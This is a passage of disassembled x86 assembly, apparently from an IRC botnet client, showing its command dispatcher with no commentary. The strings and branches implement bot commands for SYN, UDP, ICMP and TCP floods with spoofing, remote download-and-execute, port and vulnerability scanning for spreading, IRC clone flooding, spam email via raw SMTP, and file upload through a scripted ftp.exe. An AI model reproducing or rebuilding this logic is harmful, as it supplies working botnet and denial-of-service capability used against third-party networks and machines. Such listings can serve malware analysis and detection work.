push [ebp+var_8C]
push [ebp+arg_4]
call sub_4133C0
add esp, 10h
test eax, eax
jz short loc_40EE85
push offset dword_43565C
jmp loc_40EF78
; ---------------------------------------------------------------------------
loc_40EE85: ; CODE XREF: sub_40CE55+2024j
push offset dword_435628
jmp loc_40EF78
; ---------------------------------------------------------------------------
loc_40EE8F: ; CODE XREF: sub_40CE55+1FCCj
push edi
push offset aUser ; "user"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40EF2B
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_40EF04
cmp [ebp+var_9B0], bl
jz short loc_40EEC5
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
push ebx
push eax
push 1
jmp short loc_40EEE5
; ---------------------------------------------------------------------------
loc_40EEC5: ; CODE XREF: sub_40CE55+205Cj
push [ebp+var_4]
mov esi, [ebp+esi+var_88]
cmp esi, ebx
push [ebp+var_8C]
push [ebp+arg_4]
jz short loc_40EEE1
push esi
push eax
push ebx
jmp short loc_40EEE5
; ---------------------------------------------------------------------------
loc_40EEE1: ; CODE XREF: sub_40CE55+2085j
push ebx
push eax
push 2
loc_40EEE5: ; CODE XREF: sub_40CE55+206Ej
; sub_40CE55+208Aj
call sub_4134E1
push eax
lea eax, [ebp+var_2C8]
push offset aS_1 ; "%s"
push eax
call sub_4154E7
add esp, 24h
jmp loc_40EF86
; ---------------------------------------------------------------------------
loc_40EF04: ; CODE XREF: sub_40CE55+2054j
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_4139F5
add esp, 10h
test eax, eax
jz short loc_40EF24
push offset dword_4355F4
jmp short loc_40EF78
; ---------------------------------------------------------------------------
loc_40EF24: ; CODE XREF: sub_40CE55+20C6j
push offset dword_4355C4
jmp short loc_40EF78
; ---------------------------------------------------------------------------
loc_40EF2B: ; CODE XREF: sub_40CE55+2049j
push edi
push offset aSend ; "send"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EF73
cmp [ebp+arg_18], ebx
jz short loc_40EF6C
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_413CA9
push eax
lea eax, [ebp+var_2C8]
push offset aS_1 ; "%s"
push eax
call sub_4154E7
add esp, 1Ch
jmp short loc_40EF86
; ---------------------------------------------------------------------------
loc_40EF6C: ; CODE XREF: sub_40CE55+20EAj
push offset dword_435590
jmp short loc_40EF78
; ---------------------------------------------------------------------------
loc_40EF73: ; CODE XREF: sub_40CE55+20E5j
push offset dword_435560
loc_40EF78: ; CODE XREF: sub_40CE55+1EC4j
; sub_40CE55+1F48j ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
pop ecx
pop ecx
loc_40EF86: ; CODE XREF: sub_40CE55+1ECCj
; sub_40CE55+1F26j ...
cmp [ebp+var_8], ebx
jnz short loc_40EFA7
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
loc_40EFA7: ; CODE XREF: sub_40CE55+2134j
; sub_40CE55+44CDj ...
mov esi, [ebp+arg_24]
loc_40EFAA: ; CODE XREF: sub_40CE55+9A7j
; sub_40CE55+47A8j ...
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
pop ecx
mov eax, esi
jmp loc_40D21C
; ---------------------------------------------------------------------------
loc_40EFBE: ; CODE XREF: sub_40CE55+1EA9j
push [ebp+arg_8]
push offset aEnz_gethost ; "enz.gethost"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4111C9
push [ebp+arg_8]
push offset aEnz_gh ; "enz.gh"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4111C9
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_40D219
push [ebp+arg_8]
push offset aEnz_addalias ; "enz.addalias"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41118A
push [ebp+arg_8]
push offset aEnz_aa ; "enz.aa"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41118A
push [ebp+arg_8]
push offset aEnz_privmsg ; "enz.privmsg"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411137
push [ebp+arg_8]
push offset aEnz_pm ; "enz.pm"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411137
push [ebp+arg_8]
push offset aEnz_action ; "enz.action"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4110C9
push [ebp+arg_8]
push offset aEnz_ac ; "enz.ac"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4110C9
push [ebp+arg_8]
push offset aEnz_cycle ; "enz.cycle"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411066
push [ebp+arg_8]
push offset aEnz_cy ; "enz.cy"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411066
push [ebp+arg_8]
push offset aEnz_mode ; "enz.mode"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411027
push [ebp+arg_8]
push offset aEnz_m ; "enz.m"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411027
push [ebp+arg_8]
push offset aClone_raw ; "clone.raw"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410FBC
push [ebp+arg_8]
push offset aClone_ra ; "clone.ra"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410FBC
push [ebp+arg_8]
push offset aClone_mode ; "clone.mode"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410F3A
push [ebp+arg_8]
push offset aClone_m ; "clone.m"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410F3A
push [ebp+arg_8]
push offset aClone_nick ; "clone.nick"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410EC9
push [ebp+arg_8]
push offset aClone_ni ; "clone.ni"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410EC9
push [ebp+arg_8]
push offset aClone_join ; "clone.join"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410EA3
push [ebp+arg_8]
push offset aClone_j ; "clone.j"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410EA3
push [ebp+arg_8]
push offset aClone_part ; "clone.part"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410E40
push [ebp+arg_8]
push offset aClone_p ; "clone.p"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410E40
push [ebp+arg_8]
push offset aEnz_repeat ; "enz.repeat"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410D7A
push [ebp+arg_8]
push offset aEnz_rp ; "enz.rp"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410D7A
push [ebp+arg_8]
push offset aEnz_delay ; "enz.delay"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410CDF
push [ebp+arg_8]
push offset aEnz_de ; "enz.de"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410CDF
push [ebp+arg_8]
push offset aDownload_updiz ; "download.updiz"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410B61
push [ebp+arg_8]
push offset aDownload_upz ; "download.upz"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410B61
push [ebp+arg_8]
push offset aBox_execute ; "box.execute"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410AC0
push [ebp+arg_8]
push offset aBox_e ; "box.e"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410AC0
push [ebp+arg_8]
push offset aBox_findfile ; "box.findfile"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4109C2
push [ebp+arg_8]
push offset aBox_ff ; "box.ff"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4109C2
push [ebp+arg_8]
push offset aBox_rename ; "box.rename"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410971
push [ebp+arg_8]
push offset aBox_mv ; "box.mv"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410971
push [ebp+arg_8]
push offset aDdos_icmp ; "ddos.icmp"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410876
push [ebp+arg_8]
push offset aDdos_ic ; "ddos.ic"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410876
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_40D219
push [ebp+arg_8]
push offset aClone_make ; "clone.make"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41078B
push [ebp+arg_8]
push offset aClone_start ; "clone.start"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41078B
push [ebp+arg_8]
push offset aDs_sy1 ; "ds.sy1"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410686
push [ebp+arg_8]
push offset aDs_ack ; "ds.ack"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410686
push [ebp+arg_8]
push offset aDs_rm ; "ds.rm"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410686
push [ebp+arg_8]
push offset aDdos_synflood ; "ddos.synflood"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410588
push [ebp+arg_8]
push offset aSy1 ; "sy1"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410588
push [ebp+arg_8]
push offset aDownload_fromw ; "download.fromwww"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41044A
push [ebp+arg_8]
push offset aD1 ; "d1"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41044A
push [ebp+arg_8]
push offset aServer_redir_0 ; "server.redirect.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410350
push [ebp+arg_8]
push offset aServer_rd_on ; "server.rd.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410350
push [ebp+arg_8]
push offset aEnz_portscan ; "enz.portscan"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41025D
push [ebp+arg_8]
push offset aEnz_ps ; "enz.ps"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41025D
push [ebp+arg_8]
push offset aClone_privmsg ; "clone.privmsg"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410188
push [ebp+arg_8]
push offset aClone_pm ; "clone.pm"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410188
push [ebp+arg_8]
push offset aClone_action ; "clone.action"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410073
push [ebp+arg_8]
push offset aClone_ac ; "clone.ac"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410073
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_40D219
push [ebp+arg_8]
push offset aVuln_start ; "vuln.start"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40FD1A
push [ebp+arg_8]
push offset aVvv ; "vvv"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40FD1A
push [ebp+arg_8]
push offset aDdos_udpflood ; "ddos.udpflood"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40FBFA
push [ebp+arg_8]
push offset aDdos_udpf ; "ddos.udpf"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40FBFA
push [ebp+arg_8]
push offset aPu ; "pu"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40FBFA
push [ebp+arg_8]
push offset aDdos_pingflood ; "ddos.pingflood"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40FAC7
push [ebp+arg_8]
push offset aDdos_pingf ; "ddos.pingf"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40FAC7
push [ebp+arg_8]
push offset aPg ; "pg"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40FAC7
push [ebp+arg_8]
push offset aDdos_tcpflood ; "ddos.tcpflood"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40F934
push [ebp+arg_8]
push offset aUsa ; "usa"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40F934
push [ebp+arg_8]
push offset aUtil_email ; "util.email"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40F73D
lea eax, [ebp+var_3E4]
push edi
push eax
call sub_415C00
push [ebp+arg_18]
call sub_415A5F
push [ebp+arg_0]
mov [ebp+arg_18], eax
lea eax, [ebp+var_D9C]
push eax
call sub_415C00
push [ebp+arg_10]
lea eax, [ebp+var_B94]
push eax
call sub_415C00
push offset asc_426A00 ; " "
push offset a_ ; "_"
push [ebp+esi+var_80]
call sub_4099AA
push eax
lea eax, [ebp+var_548]
push eax
call sub_415C00
add esp, 30h
lea eax, [ebp+var_6F4]
push eax
push 101h
call dword_43A330
lea eax, [ebp+var_3E4]
push eax
call dword_43A43C
push 6
push 1
push 2
mov edi, eax
call dword_43A438
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_2D8], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_2D4], eax
call dword_43A3B8
mov [ebp+var_2D6], ax
lea eax, [ebp+var_548]
push eax
lea eax, [ebp+var_D9C]
push eax
lea eax, [ebp+var_548]
push eax
lea eax, [ebp+var_B94]
push eax
lea eax, [ebp+var_D9C]
push eax
lea eax, [ebp+var_159C]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_4154E7
add esp, 1Ch
lea eax, [ebp+var_2D8]
push 10h
push eax
push esi
call dword_43A360
mov edi, 100h
push ebx
lea eax, [ebp+var_C98]
push edi
push eax
push esi
call dword_43A3D0
lea eax, [ebp+var_C98]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_159C]
push eax
push esi
call dword_43A408
push ebx
lea eax, [ebp+var_C98]
push edi
push eax
push esi
call dword_43A3D0
push esi
call dword_43A450
call dword_43A318
lea eax, [ebp+var_B94]
push eax
push offset dword_43520C
loc_40F704: ; CODE XREF: sub_40CE55+3A1Cj
; sub_40CE55+3D07j ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 0Ch
loc_40F713: ; CODE XREF: sub_40CE55+3A00j
; sub_40CE55+3CABj ...
cmp [ebp+var_8], ebx
jnz loc_4124D6
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
jmp loc_4124D6
; ---------------------------------------------------------------------------
loc_40F73D: ; CODE XREF: sub_40CE55+2759j
push [ebp+arg_8]
push offset aUtil_httpcon ; "util.httpcon"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40F906
push [ebp+arg_8]
push offset aUtil_hcon ; "util.hcon"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40F906
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz loc_40D219
push [ebp+arg_8]
push offset aFtp_upload ; "ftp.upload"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_41298E
push 4
push esi
call sub_40C1FE
pop ecx
test eax, eax
pop ecx
jnz short loc_40F7DB
push esi
push offset dword_4351B0
loc_40F7A2: ; CODE XREF: sub_40CE55+2C63j
; sub_40CE55+3219j ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 0Ch
loc_40F7B1: ; CODE XREF: sub_40CE55+2C47j
; sub_40CE55+31FDj ...
cmp [ebp+var_8], ebx
jnz loc_41284E
push ebx
push [ebp+var_4]
loc_40F7BE: ; CODE XREF: sub_40CE55+382Cj
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
loc_40F7CE: ; CODE XREF: sub_40CE55+50D1j
call sub_412D4C
add esp, 14h
jmp loc_41284E
; ---------------------------------------------------------------------------
loc_40F7DB: ; CODE XREF: sub_40CE55+2945j
call dword_42104C
push eax
call sub_415539
pop ecx
call sub_415543
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_415543
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_415543
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_C9C]
push edx
push eax
lea eax, [ebp+var_B98]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_4154E7
lea eax, [ebp+var_B98]
push offset aAb ; "ab"
push eax
call sub_415BE8
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_40D219
push esi
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_415B96
push [ebp+arg_24]
call sub_415B40
lea eax, [ebp+var_B98]
push eax
lea eax, [ebp+var_3E4]
push offset aSS_4 ; "-s:%s"
push eax
call sub_4154E7
add esp, 2Ch
lea eax, [ebp+var_3E4]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_43A32C
test eax, eax
push edi
push esi
jz short loc_40F8A5
push offset dword_435134
jmp short loc_40F8AA
; ---------------------------------------------------------------------------
loc_40F8A5: ; CODE XREF: sub_40CE55+2A47j
push offset dword_4350F4
loc_40F8AA: ; CODE XREF: sub_40CE55+2A4Ej
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40F8D3
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
loc_40F8D3: ; CODE XREF: sub_40CE55+2A60j
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
loc_40F8DF: ; CODE XREF: sub_40CE55+2AAFj
lea eax, [ebp+var_B98]
push 4
push eax
call sub_40C1FE
add esp, 0Ch
test eax, eax
jz loc_40D219
lea eax, [ebp+var_B98]
push eax
call sub_4178FC
jmp short loc_40F8DF
; ---------------------------------------------------------------------------
loc_40F906: ; CODE XREF: sub_40CE55+28F9j
; sub_40CE55+2910j
push [ebp+esi+var_80]
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
call sub_415A5F
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_406B1D
jmp loc_41298B
; ---------------------------------------------------------------------------
loc_40F934: ; CODE XREF: sub_40CE55+272Bj
; sub_40CE55+2742j
mov esi, 80h
push edi
lea eax, [ebp+var_680]
push esi
push eax
call sub_415A6A
lea eax, [ebp+var_680]
push eax
push offset aSyn ; "syn"
call sub_415910
add esp, 14h
test eax, eax
jz short loc_40F997
lea eax, [ebp+var_680]
push eax
push offset aAck ; "ack"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40F997
lea eax, [ebp+var_680]
push eax
push offset aRandom ; "random"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40F997
push offset dword_4350B8
jmp loc_41202C
; ---------------------------------------------------------------------------
loc_40F997: ; CODE XREF: sub_40CE55+2B08j
; sub_40CE55+2B1Fj ...
push [ebp+arg_10]
call sub_415A5F
cmp eax, ebx
pop ecx
mov [ebp+var_578], eax
jle loc_40FABD
push edi
lea eax, [ebp+var_680]
push esi
push eax
call sub_415A6A
push [ebp+arg_18]
lea eax, [ebp+var_700]
push esi
push eax
call sub_415A6A
push [ebp+arg_0]
call sub_415A5F
mov [ebp+var_57C], eax
xor eax, eax
cmp [ebp+var_9A2], bl
push [ebp+var_8C]
setnz al
mov [ebp+var_574], eax
mov eax, [ebp+arg_4]
mov [ebp+var_704], eax
lea eax, [ebp+var_600]
push esi
push eax
call sub_415A6A
mov eax, [ebp+var_4]
add esp, 28h
cmp [ebp+var_574], ebx
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
mov [ebp+var_56C], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_40FA2E
mov eax, offset aNormal ; "Normal"
loc_40FA2E: ; CODE XREF: sub_40CE55+2BD2j
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push eax
push offset dword_435060
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_415A6A
push ebx
lea eax, [ebp+var_2C8]
push 0Ch
push eax
call sub_414F93
add esp, 2Ch
mov [ebp+var_580], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_704]
push ebx
push eax
push offset sub_401BD6
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_580]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_40FAAC
loc_40FA96: ; CODE XREF: sub_40CE55+2C55j
cmp [ebp+var_568], ebx
jnz loc_40F7B1
push 32h
call dword_421060
jmp short loc_40FA96
; ---------------------------------------------------------------------------
loc_40FAAC: ; CODE XREF: sub_40CE55+2C3Fj
call dword_421088
push eax
push offset dword_435014
jmp loc_40F7A2
; ---------------------------------------------------------------------------
loc_40FABD: ; CODE XREF: sub_40CE55+2B53j
push offset dword_434FC8
jmp loc_41202C
; ---------------------------------------------------------------------------
loc_40FAC7: ; CODE XREF: sub_40CE55+26E6j
; sub_40CE55+26FDj ...
cmp dword_43A4A8, ebx
mov esi, [ebp+arg_4]
jnz loc_40FBCF
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_2EC], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F0], eax
lea eax, [ebp+var_384]
push edi
push eax
call sub_416D40
push [ebp+arg_18]
call sub_415A5F
push [ebp+arg_0]
mov [ebp+var_304], eax
call sub_415A5F
push [ebp+arg_10]
mov [ebp+var_300], eax
call sub_415A5F
push 7Fh
mov [ebp+var_2FC], eax
push [ebp+var_8C]
lea eax, [ebp+var_404]
push eax
call sub_416D40
push [ebp+var_2FC]
lea eax, [ebp+var_384]
mov [ebp+var_408], esi
push [ebp+var_300]
push eax
lea eax, [ebp+var_2C8]
push [ebp+var_304]
push offset unk_434F6C
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 0Eh
push eax
call sub_414F93
add esp, 48h
mov [ebp+var_2F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_408]
push ebx
push eax
push offset sub_40A217
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_2F4]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_40FBBE
loc_40FBAC: ; CODE XREF: sub_40CE55+2D67j
cmp [ebp+var_2E8], ebx
jnz short loc_40FBE8
push 32h
call dword_421060
jmp short loc_40FBAC
; ---------------------------------------------------------------------------
loc_40FBBE: ; CODE XREF: sub_40CE55+2D55j
call dword_421088
push eax
push offset unk_434F20
jmp loc_41077A
; ---------------------------------------------------------------------------
loc_40FBCF: ; CODE XREF: sub_40CE55+2C7Bj
push 1FFh
lea eax, [ebp+var_2C8]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_416D40
loc_40FBE5: ; CODE XREF: sub_40CE55+3931j
add esp, 0Ch
loc_40FBE8: ; CODE XREF: sub_40CE55+2D5Dj
; sub_40CE55+2EA4j ...
cmp [ebp+var_8], ebx
jnz loc_41284E
push ebx
push [ebp+var_4]
jmp loc_411F18
; ---------------------------------------------------------------------------
loc_40FBFA: ; CODE XREF: sub_40CE55+26A1j
; sub_40CE55+26B8j ...
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_2EC], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F0], eax
lea eax, [ebp+var_384]
push edi
push eax
call sub_416D40
push [ebp+arg_18]
call sub_415A5F
push [ebp+arg_0]
mov [ebp+var_304], eax
call sub_415A5F
push [ebp+arg_10]
mov [ebp+var_300], eax
call sub_415A5F
mov esi, [ebp+esi+var_80]
add esp, 18h
cmp esi, ebx
mov [ebp+var_2FC], eax
jz short loc_40FC5F
push esi
call sub_415A5F
pop ecx
mov [ebp+var_2F8], eax
jmp short loc_40FC65
; ---------------------------------------------------------------------------
loc_40FC5F: ; CODE XREF: sub_40CE55+2DF9j
mov [ebp+var_2F8], ebx
loc_40FC65: ; CODE XREF: sub_40CE55+2E08j
push 7Fh
lea eax, [ebp+var_404]
push [ebp+var_8C]
push eax
call sub_416D40
push [ebp+var_2FC]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_384]
mov [ebp+var_408], esi
push [ebp+var_300]
push eax
lea eax, [ebp+var_2C8]
push [ebp+var_304]
push offset dword_434EAC
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 0Fh
push eax
call sub_414F93
add esp, 30h
mov [ebp+var_2F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_408]
push ebx
push eax
push offset sub_40A3A3
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_2F4]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_40FD09
loc_40FCF3: ; CODE XREF: sub_40CE55+2EB2j
cmp [ebp+var_2E8], ebx
jnz loc_40FBE8
push 32h
call dword_421060
jmp short loc_40FCF3
; ---------------------------------------------------------------------------
loc_40FD09: ; CODE XREF: sub_40CE55+2E9Cj
call dword_421088
push eax
push offset dword_434E60
jmp loc_41077A
; ---------------------------------------------------------------------------
loc_40FD1A: ; CODE XREF: sub_40CE55+2673j
; sub_40CE55+268Aj
push 8
call sub_4151DB
push [ebp+arg_18]
mov [ebp+arg_8], eax
call sub_415A5F
add eax, [ebp+arg_8]
pop ecx
pop ecx
cmp eax, 12Ch
jle short loc_40FD6D
push [ebp+arg_8]
lea eax, [ebp+var_2C8]
push offset dword_434E0C
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
loc_40FD65: ; CODE XREF: sub_40CE55+4330j
add esp, 20h
jmp loc_41298E
; ---------------------------------------------------------------------------
loc_40FD6D: ; CODE XREF: sub_40CE55+2EE1j
push edi
call sub_415A5F
push [ebp+arg_18]
mov [ebp+var_31C], eax
call sub_415A5F
push [ebp+arg_0]
mov [ebp+var_304], eax
call sub_415A5F
add esp, 0Ch
cmp eax, 1
mov [ebp+var_318], eax
jnb short loc_40FDA6
push 1
pop eax
mov [ebp+var_318], eax
loc_40FDA6: ; CODE XREF: sub_40CE55+2F46j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40FDB3
mov [ebp+var_318], ecx
loc_40FDB3: ; CODE XREF: sub_40CE55+2F56j
push [ebp+arg_10]
call sub_415A5F
mov [ebp+var_314], eax
mov eax, 1F4h
cmp [ebp+var_314], eax
pop ecx
jbe short loc_40FDD5
mov [ebp+var_314], eax
loc_40FDD5: ; CODE XREF: sub_40CE55+2F78j
or [ebp+var_300], 0FFFFFFFFh
cmp dword_427338, ebx
mov [ebp+arg_0], ebx
jz short loc_40FE2B
mov [ebp+arg_24], offset dword_427338
loc_40FDEE: ; CODE XREF: sub_40CE55+2FB8j
mov eax, [ebp+arg_24]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40FE11
add [ebp+arg_24], 3Ch
inc [ebp+arg_0]
mov eax, [ebp+arg_24]
cmp [eax], ebx
jnz short loc_40FDEE
jmp short loc_40FE2B
; ---------------------------------------------------------------------------
loc_40FE11: ; CODE XREF: sub_40CE55+2FAAj
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_300], eax
imul ecx, 3Ch
mov ecx, dword_427338[ecx]
mov [ebp+var_31C], ecx
loc_40FE2B: ; CODE XREF: sub_40CE55+2F90j
; sub_40CE55+2FBAj
cmp [ebp+var_31C], ebx
jz loc_411C49
mov edi, [ebp+esi+var_80]
cmp edi, ebx
mov [ebp+arg_18], edi
jz short loc_40FE72
cmp byte ptr [edi], 23h
jz short loc_40FE72
push edi
lea eax, [ebp+var_430]
push 10h
push eax
call sub_415A6A
push 78h
push edi
call sub_417080
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_2F0], eax
jmp loc_40FF46
; ---------------------------------------------------------------------------
loc_40FE72: ; CODE XREF: sub_40CE55+2FEBj
; sub_40CE55+2FF0j
cmp [ebp+var_9B3], bl
jnz short loc_40FE94
cmp [ebp+var_9B2], bl
jnz short loc_40FE94
cmp [ebp+var_9A2], bl
jnz short loc_40FE94
push offset dword_434DC0
jmp loc_41202C
; ---------------------------------------------------------------------------
loc_40FE94: ; CODE XREF: sub_40CE55+3023j
; sub_40CE55+302Bj ...
push 10h
lea eax, [ebp+arg_0]
pop edi
push eax
lea eax, [ebp+var_2D8]
push eax
mov [ebp+arg_0], edi
push [ebp+arg_4]
call dword_43A35C
mov al, [ebp+var_9B3]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2D4], eax
push [ebp+var_2D4]
call dword_43A444
push eax
lea eax, [ebp+var_430]
push eax
call sub_416D40
add esp, 0Ch
cmp [ebp+var_9A2], bl
jz short loc_40FF40
xor eax, eax
cmp [ebp+var_9B3], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_430]
push eax
call sub_417040
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40FF34
loc_40FF12: ; CODE XREF: sub_40CE55+30DDj
cmp eax, ebx
jz short loc_40FF34
mov byte ptr [eax], 78h
lea eax, [ebp+var_430]
push 30h
push eax
call sub_417040
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_40FF12
loc_40FF34: ; CODE XREF: sub_40CE55+30BBj
; sub_40CE55+30BFj
